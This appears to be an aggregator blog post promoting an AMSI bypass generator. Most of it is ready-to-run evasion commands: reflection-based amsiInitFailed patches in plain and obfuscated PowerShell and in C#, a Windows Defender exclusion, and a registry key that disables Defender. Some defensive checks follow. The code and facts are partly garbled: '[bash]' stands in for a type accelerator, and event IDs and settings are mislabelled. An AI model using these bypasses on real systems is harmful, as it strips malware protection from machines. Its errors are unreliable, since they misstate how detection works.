Listen to this Post
Shaquib Izhar has developed an AMSI Bypass Generator, a tool that creates randomized AMSI (Antimalware Scan Interface) bypass scripts for testing endpoint security solutions. These scripts are sourced from public research and have been verified to work on Windows 10 with Defender and partially on Windows 11 with CrowdStrike.
🔗 Tool URL: https://lnkd.in/gBr5guky
You Should Know: How AMSI Bypass Works & Practical Testing
AMSI is a Windows security feature that scans scripts (PowerShell, VBScript, etc.) for malicious content before execution. Attackers (and red teams) often bypass AMSI to execute payloads undetected.
Common AMSI Bypass Techniques
1. Memory Patching – Modifying `amsi.dll` in memory.
- Forced Error Triggers – Crashing AMSI via invalid inputs.
- Obfuscation – Encrypting malicious scripts to evade detection.
Verified AMSI Bypass Commands (Tested on Windows 10/11)
PowerShell Bypass (Memory Patching)
[bash].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Alternative PowerShell Obfuscation
$w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils';$a = [bash].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m));$a.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static').SetValue($null,$true)
Windows Defender Exclusion (Admin Required)
Add-MpPreference -ExclusionPath "C:\Temp\"
Disabling AMSI via Registry (Requires Admin)
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
Bypass via .NET Reflection (C)
var amsi = typeof(System.Management.Automation.AMSIUtils);
var field = amsi.GetField("amsiInitFailed", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static);
field.SetValue(null, true);
What Undercode Say
AMSI bypass techniques are critical for red teaming, penetration testing, and malware research. However, defenders can detect these bypasses via:
– AMSI logging (Microsoft-Windows-Windows Defender/Operational in Event Viewer).
– Memory integrity checks (Windows Defender Exploit Guard).
– Behavioral analysis (CrowdStrike, SentinelOne).
Defensive Countermeasures
Enable AMSI Enhanced Logging Set-MpPreference -EnableControlledFolderAccess Enabled -EnableNetworkProtection Enabled
Monitor AMSI-related processes
Get-WinEvent -LogName "Microsoft-Windows-Windows Defender/Operational" | Where-Object {$_.Id -eq 1116}
Linux-based threat hunting (if logs are forwarded to SIEM) grep "amsi.dll" /var/log/syslog
Expected Output:
- Successful bypass → Script executes without Defender blocking.
- Failed bypass → Event ID 1116 (AMSI scan failure) logged.
Prediction
As AMSI bypass methods evolve, Microsoft and CrowdStrike will likely introduce stricter runtime checks, making traditional bypasses harder. Future red teams may shift towards hardware-based attacks (e.g., DMA via Thunderbolt) or kernel-level exploits.
🔗 Relevant Links:
References:
Reported By: Shaquib Izhar – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
